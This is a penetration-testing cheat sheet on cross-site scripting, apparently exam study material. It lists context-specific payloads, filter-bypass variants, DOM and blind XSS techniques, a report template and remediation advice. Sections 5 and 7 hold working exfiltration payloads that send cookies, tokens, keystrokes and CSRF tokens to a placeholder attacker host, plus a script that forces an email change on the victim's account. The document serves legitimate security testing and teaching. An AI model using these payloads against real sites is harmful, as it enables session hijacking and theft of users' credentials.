Cross-Site Scripting
Table of Contents
Malicious JavaScript injected into a page executes in the victim's browser under the target origin. The attacker inherits the victim's session, can read the DOM, exfiltrate cookies, make authenticated requests, and redirect users. Severity depends on type and context — Stored XSS is highest impact, DOM-based the hardest to detect.
Related: CSRF HTTP Security Headers Session Management Testing Web Application Testing Methodology PT1 Vulnerability Classification Cheat Sheet
1. XSS Types
| Type | How it works | Persistence | Impact |
|---|---|---|---|
| Reflected | Input echoed back in response | None — victim must click link | Medium |
| Stored | Payload stored in DB, rendered for all users | Persistent | High |
| DOM-based | JS reads attacker-controlled source and writes to sink | Varies | Medium–High |
2. Finding XSS
Injection Points
Test every input that appears in the response: - URL parameters: ?q=, ?name=, ?search= - Form fields: login, search, comment, profile fields - HTTP headers reflected in response: User-Agent, Referer, X-Forwarded-For - JSON/API response values rendered in the page - URL path segments: /user/<name>/profile
Initial Probe
Start with a benign string that is visually distinct — confirm it appears in the response before injecting payloads:
# Probe string — check where it appears in the response xsstest1234 # Then check the page source to identify the context: # - Between HTML tags: <p>xsstest1234</p> # - In an attribute: <input value="xsstest1234"> # - In a script block: var x = "xsstest1234"; # - In a URL: href="xsstest1234"
The context determines which payload to use.
3. Payloads by Context
HTML Body Context
<script>alert(1)</script> <script>alert(document.domain)</script> <img src=x onerror=alert(1)> <svg onload=alert(1)> <body onload=alert(1)> <iframe src="javascript:alert(1)">
HTML Attribute Context
<!-- Input: <input value="INJECT"> --> " onmouseover="alert(1) " autofocus onfocus="alert(1) "><script>alert(1)</script> " onclick="alert(1)" "
JavaScript String Context
// Input: var x = "INJECT"; "-alert(1)-" ";alert(1)// \";alert(1)// '+alert(1)+'
JavaScript Template Literal Context
// Input: var x = `INJECT`; ${alert(1)}
URL/href Context
<!-- Input: <a href="INJECT"> --> javascript:alert(1)
4. Filter Bypass Techniques
<!-- Case variation --> <ScRiPt>alert(1)</ScRiPt> <SCRIPT>alert(1)</SCRIPT> <!-- No quotes --> <img src=x onerror=alert(1)> <!-- No parentheses --> <img src=x onerror=alert`1`> <!-- HTML entities --> <img src=x onerror=alert(1)> <img src=x onerror=alert(1)> <!-- Double encoding --> %253Cscript%253Ealert(1)%253C/script%253E <!-- Whitespace variations --> <img src=x onerror = alert(1)> <img/src=x/onerror=alert(1)> <!-- Alternative event handlers --> <body onpageshow=alert(1)> <input autofocus onfocus=alert(1)> <select autofocus onfocus=alert(1)> <video src=x onerror=alert(1)> <audio src=x onerror=alert(1)> <!-- Broken tag — some parsers repair it --> <scr<script>ipt>alert(1)</scr</script>ipt> <!-- SVG vectors --> <svg><script>alert(1)</script></svg> <svg><animate onbegin=alert(1) attributeName=x>
5. Useful Payloads Beyond alert(1)
Confirm the origin (cleaner proof than alert)
alert(document.domain)
Cookie theft
// Send cookie to attacker server <script> fetch('https://$ATTACKER/?c=' + document.cookie) </script> // Image tag alternative — no JS fetch needed <img src=x onerror="this.src='https://$ATTACKER/?c='+document.cookie">
Session token theft (localStorage)
<script> fetch('https://$ATTACKER/?t=' + localStorage.getItem('token')) </script>
Keylogger
<script> document.onkeypress = function(e) { fetch('https://$ATTACKER/?k=' + e.key); } </script>
Forced request as victim (CSRF via XSS)
<script> fetch('https://target.com/account/change-email', { method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'email=attacker@evil.com' }) </script>
Capture and exfiltrate CSRF token
<script> fetch('/account/settings') .then(r => r.text()) .then(html => { const token = html.match(/csrf_token.*?value="([^"]+)"/)[1]; fetch('https://$ATTACKER/?token=' + token); }) </script>
6. DOM-Based XSS
The payload never reaches the server — JavaScript reads from a source and writes to a sink without sanitisation.
Common Sources (attacker-controlled input)
document.URL document.location document.location.hash ← common — hash never sent to server document.referrer window.name
Common Sinks (dangerous write operations)
innerHTML document.write() eval() setTimeout() / setInterval() with string argument location.href src attribute assignment
Testing DOM XSS
// Check the hash — common entry point https://target.com/page#<img src=x onerror=alert(1)> // Check URL parameters read by JS https://target.com/page?name=<script>alert(1)</script> // Use browser DevTools → Sources → search for sources being passed to sinks // Search for: innerHTML, document.write, eval, location.href
7. Blind XSS
Payload stored and executed in a context you cannot directly observe — admin panel, log viewer, support ticket system.
<!-- Use a callback to confirm execution --> <script src="https://$ATTACKER/xss.js"></script> <img src=x onerror="fetch('https://$ATTACKER/blind?'+document.cookie)"> <!-- XSS Hunter — dedicated blind XSS platform --> <!-- Generates payload, notifies you when it fires with screenshot + cookies -->
8. Stored vs Reflected — Testing Approach
Reflected
# Inject in URL parameter — test in browser https://target.com/search?q=<script>alert(1)</script> # Or via curl — look for unescaped payload in response curl -s "https://target.com/search?q=<script>alert(1)</script>" | grep -i "script"
Stored
1. Submit payload in any stored input: comment, profile, name, bio 2. Navigate to where that input is rendered 3. Check if payload executes 4. Test inputs rendered for OTHER users — highest impact (admin panels, public profiles, comment sections)
9. Reporting Template
Classification: Cross-Site Scripting (XSS) — Reflected / Stored / DOM
Severity: High (Stored — executes for all users) / Medium (Reflected — requires victim to click link)
Description:
The [parameter] at [endpoint] reflects/stores user-supplied
input in the page without sanitisation. An attacker can inject
arbitrary JavaScript that executes in the victim's browser under
the application's origin, enabling session hijacking, credential
theft, and actions on behalf of the victim.
Evidence:
GET /search?q=<script>alert(document.domain)</script> HTTP/1.1 HTTP/1.1 200 OK ... <div class="results"> <script>alert(document.domain)</script> </div>
Remediation:
- Encode output contextually before rendering in HTML, attributes, or JavaScript
- Implement Content-Security-Policy to restrict script execution
- Validate and sanitise input server-side — do not rely on client-side validation alone
- Set
HttpOnlyon session cookies to prevent theft via XSS
Tips
- Always check where the input lands in the source before picking a payload — wrong context = no execution
alert(document.domain)is better thanalert(1)for reports — proves execution in the target origin, not just popup- Stored XSS in an admin panel is effectively privilege escalation — if you can trigger JS in an admin context, note it as Critical
- DOM XSS via the URL hash is never sent to the server and will not appear in server logs — often missed by WAFs
- XSS + CSRF token exfiltration chains are a common exam finding pattern — if you have XSS on a CSRF-protected form, combine them
- If
alertis filtered tryconfirm(1)orprompt(1)— different function names, same effect for PoC purposes